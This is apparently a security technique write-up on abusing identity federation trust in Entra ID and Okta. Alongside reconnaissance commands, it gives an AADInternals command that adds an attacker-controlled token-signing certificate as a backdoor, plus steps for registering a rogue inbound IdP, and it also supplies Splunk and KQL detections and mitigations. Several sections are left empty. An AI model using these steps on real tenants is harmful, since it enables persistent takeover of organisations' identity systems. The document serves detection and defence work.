MCADDF

[REALWORLD-017]: Inbound Federation Rule Creation

1. METADATA HEADER

Attribute Details
Technique ID REALWORLD-017
MITRE ATT&CK v18.1 T1556 (Modify Authentication Process); T1484.002 (Domain or Tenant Policy: Trust Modification)
Tactic Credential Access; Persistence; Defense Evasion; Initial Access
Platforms Cross-Cloud (Microsoft Entra ID, Okta, other SAML/OIDC IdPs, AD FS, AWS IAM Identity Center)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Microsoft Entra ID (all current); Okta (all current); AD FS 2016-2022; major enterprise IdPs that support inbound federation
Patched In Not fully patched; mitigated via hardened configuration, least privilege and monitoring rather than a single patch
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Microsoft 365 / Entra ID 1.1, 1.2 Secure configuration of identity providers, strong admin controls and logging over federation and domain settings.
DISA STIG APP3520 / IDPS‑related controls Ensure SSO and federation configurations are documented, approved, and monitored; restrict who may modify identity trust.
CISA SCuBA Entra ID Identity and Access Baseline Requires strong governance and monitoring for federated domains, external IdPs, and cross‑tenant access.
NIST 800-53 AC-2, AC-3, AC-5, IA-2, IA-4 Account management, access enforcement, separation of duties, and strong authentication for identity management systems.
GDPR Art. 24, 25, 32 Controllers must implement appropriate technical and organisational measures; weak identity trust exposes personal data across tenants.
DORA Art. 9, 11 ICT risk management and security of network and information systems, including identity and access services across financial infrastructures.
NIS2 Art. 21 Cybersecurity risk management and incident handling, including secure identity federation for essential and important entities.
ISO 27001 A.5.15, A.5.18, A.8.2, A.8.3 Access control, privileged access restriction, secure authentication, and protection of information in applications.
ISO 27005 Identity System Compromise Risk scenario where compromise of IdP trust enables full tenant takeover and cross‑tenant abuse.

3. TECHNICAL PREREQUISITES

Supported Versions:

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance (Entra ID)

Baseline objective: identify existing federated domains and external IdPs that could be abused or have been altered.

# List Entra ID domains and their authentication type
Connect-MgGraph -Scopes 'Domain.Read.All'
Get-MgDomain | Select-Object Id, AuthenticationType, IsVerified

What to Look For:

Version Note: Graph commands are consistent across Entra ID tenants; the key differences are consented scopes and whether legacy AzureAD modules are still in use.

# Retrieve full federation settings via AADInternals
Import-Module AADInternals
Connect-AADIntAzureAD
Get-AADIntTenantFederationSettings

What to Look For:

Cross‑Tenant Access and Synchronization Recon

# List cross-tenant access settings (B2B / direct connect / sync)
Connect-MgGraph -Scopes 'Policy.Read.All'
Get-MgPolicyCrossTenantAccessPolicy | Select-Object Default, DisplayName

Get-MgPolicyCrossTenantAccessPolicyPartner | Select-Object TenantId, InboundAccess, OutboundAccess

What to Look For:

Linux/Bash / CLI Reconnaissance

# Enumerate Entra ID domains via Microsoft Graph using Azure CLI
az login --tenant <tenant-id>
az rest \
  --method GET \
  --url https://graph.microsoft.com/v1.0/domains \
  --headers 'ConsistencyLevel=eventual' \
  --query 'value[].{id:id, authType:authenticationType, isVerified:isVerified}'

What to Look For:

For Okta:

# List Okta Identity Providers (IdPs)
OKTA_ORG_URL='https://yourorg.okta.com'
API_TOKEN='<api-token>'

curl -s -H "Authorization: SSWS $API_TOKEN" \
  "$OKTA_ORG_URL/api/v1/idps" | jq '.[].{name:name, type:type, id:id, status:status}'

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Backdooring an Existing Entra Federated Domain (AADInternals)

Supported Versions: Entra ID with federated domains, AD FS 2016‑2022.

Step 1: Enumerate and Export Current Federation Settings

Objective: Obtain the current domain federation configuration for backup and later comparison.

Command:

Import-Module AADInternals
Connect-AADIntAzureAD

# Export current federation settings to JSON
Get-AADIntTenantFederationSettings | Out-File -FilePath '.\\federation-backup.json'

Expected Output:

What This Means:

OpSec & Evasion:

Step 2: Add a Rogue Secondary Token‑Signing Certificate

Objective: Introduce an attacker‑controlled certificate so that tokens signed with it are accepted as valid SAML assertions for any user in the tenant.

Command:

# Create or import attacker-controlled certificate
$certPath = '.\\attacker-signing.pfx'
$certPassword = Read-Host -AsSecureString 'Cert password'

$backdoorParams = @{
  DomainName = 'victim-domain.tld'
  PfxFile    = $certPath
  Password   = $certPassword
}

ConvertTo-AADIntBackdoor @backdoorParams

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Issue Forged Tokens and Access Tenant Resources

Objective: Use the rogue certificate to generate SAML tokens for arbitrary users and exchange them for access tokens.

Command:

Expected Output:

What This Means:

References and Proofs:

METHOD 2 – Creating a Rogue Inbound Federation in Okta (Inbound SAML/OIDC IdP)

Supported Versions: Okta Identity Cloud with Inbound Federation enabled.

Step 1: Compromise a Super Admin Account

Objective: Obtain credentials and MFA approval to a highly privileged Okta Super Admin or equivalent.

Execution:

Step 2: Add a Malicious Source IdP (Inbound Federation)

Objective: Configure an attacker‑controlled IdP as an inbound federation source into the victim Okta tenant.

Manual Portal Steps:

  1. Log into the Okta Admin console as Super Admin.
  2. Navigate to SecurityIdentity Providers.
  3. Select Add Identity Provider and choose SAML 2.0 or OIDC.
  4. Provide attacker‑controlled IdP metadata (issuer, SSO URL, certificate, and claims).
  5. Enable Just‑In‑Time account provisioning or automatic account linking for targeted apps.

What This Means:

Step 3: Abuse Username Mapping and Auto‑Linking

Objective: Manipulate the username or subject claim so that attacker identities map to real user accounts in the target tenant.

Execution:

Result:

References and Proofs:

6. ATTACK SIMULATION AND VERIFICATION (Atomic Red Team)

Atomic Red Team

Command:

Invoke-AtomicTest T1484.002 -TestNumbers 1

Cleanup Command:

Invoke-AtomicTest T1484.002 -TestNumbers 1 -Cleanup

Reference:

7. TOOLS AND COMMANDS REFERENCE

AADInternals

Installation (PowerShell):

Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

Example Usage:

Connect-AADIntAzureAD
Get-AADIntTenantFederationSettings

Microsoft Graph PowerShell SDK

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph

Example Usage:

Connect-MgGraph -Scopes 'Domain.Read.All','Policy.Read.All'
Get-MgDomain
Get-MgPolicyCrossTenantAccessPolicyPartner

8. SPLUNK DETECTION RULES

Rule 1: Suspicious Federation or Domain Trust Changes

Rule Configuration:

SPL Query:

index=azure OR index=o365 sourcetype IN("o365:management:activity","azure:monitor:aad")
| search Operation IN("Set federation settings on domain","Set domain authentication","Add partner to cross-tenant access setting","Update partner cross-tenant access setting")
| stats latest(TimeGenerated) as last_time, values(ModifiedProperties) as modified by UserId, Operation, Workload

What This Detects:

9. MICROSOFT SENTINEL DETECTION

Query 1: Entra ID Federated Domain or Cross‑Tenant Trust Modification

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in (
    'Set federation settings on domain',
    'Set domain authentication',
    'Add partner to cross-tenant access setting',
    'Update partner cross-tenant access setting',
    'Create partner cross-tenant synchronization'
  )
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, ModifiedProperties

What This Detects:

10. WINDOWS EVENT LOG MONITORING

Even though this is a cloud‑centric technique, on‑premises AD FS servers and hybrid identity components leave artifacts in Windows event logs.

Example Event IDs:

Manual Configuration Steps (Group Policy):

  1. Enable advanced auditing for object access and account management on AD FS servers.
  2. Forward AD FS and Security logs to a central SIEM.

11. SYSMON DETECTION PATTERNS

Use Sysmon on AD FS and hybrid identity servers to track unexpected process execution (for example, PowerShell scripts altering federation configuration) and modifications to configuration files.

12. MICROSOFT DEFENDER FOR CLOUD

Defender for Cloud and Defender for Cloud Apps can raise alerts for suspicious OAuth app activity, anomalous sign‑ins, and risky tenant configuration changes.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Use the Unified Audit Log to review Azure AD and Microsoft 365 operations affecting domains and federation.

Example PowerShell:

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) \
  -Operations 'Set federation settings on domain','Set domain authentication' \
  | Export-Csv -Path '.\\federation-audit.csv' -NoTypeInformation

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control and Policy Hardening

15. DETECTION AND INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediately revoke or disable suspicious federation configurations and cross‑tenant partners.
  2. Rotate all federation and token‑signing certificates under legitimate control.
  3. Perform full incident response to identify actions performed using attacker‑issued tokens and remove any additional persistence (for example, OAuth apps, access keys, role assignments).
Step Phase Technique Description
1 Initial Access Phishing or helpdesk social engineering Compromise a cloud admin account with privileges over federation.
2 Privilege Escalation Account Manipulation (T1098) Grant additional roles or elevate privileges on the compromised identity.
3 Current Step REALWORLD-017 – Inbound Federation Rule Creation Create or modify trust to allow attacker‑controlled IdP or signing key.
4 Persistence OAuth / SAML Backdoor Use the rogue trust as a long‑term backdoor into the tenant.
5 Impact Data exfiltration or ransomware Abuse backdoor access to exfiltrate data or deploy ransomware.

17. REAL-WORLD EXAMPLES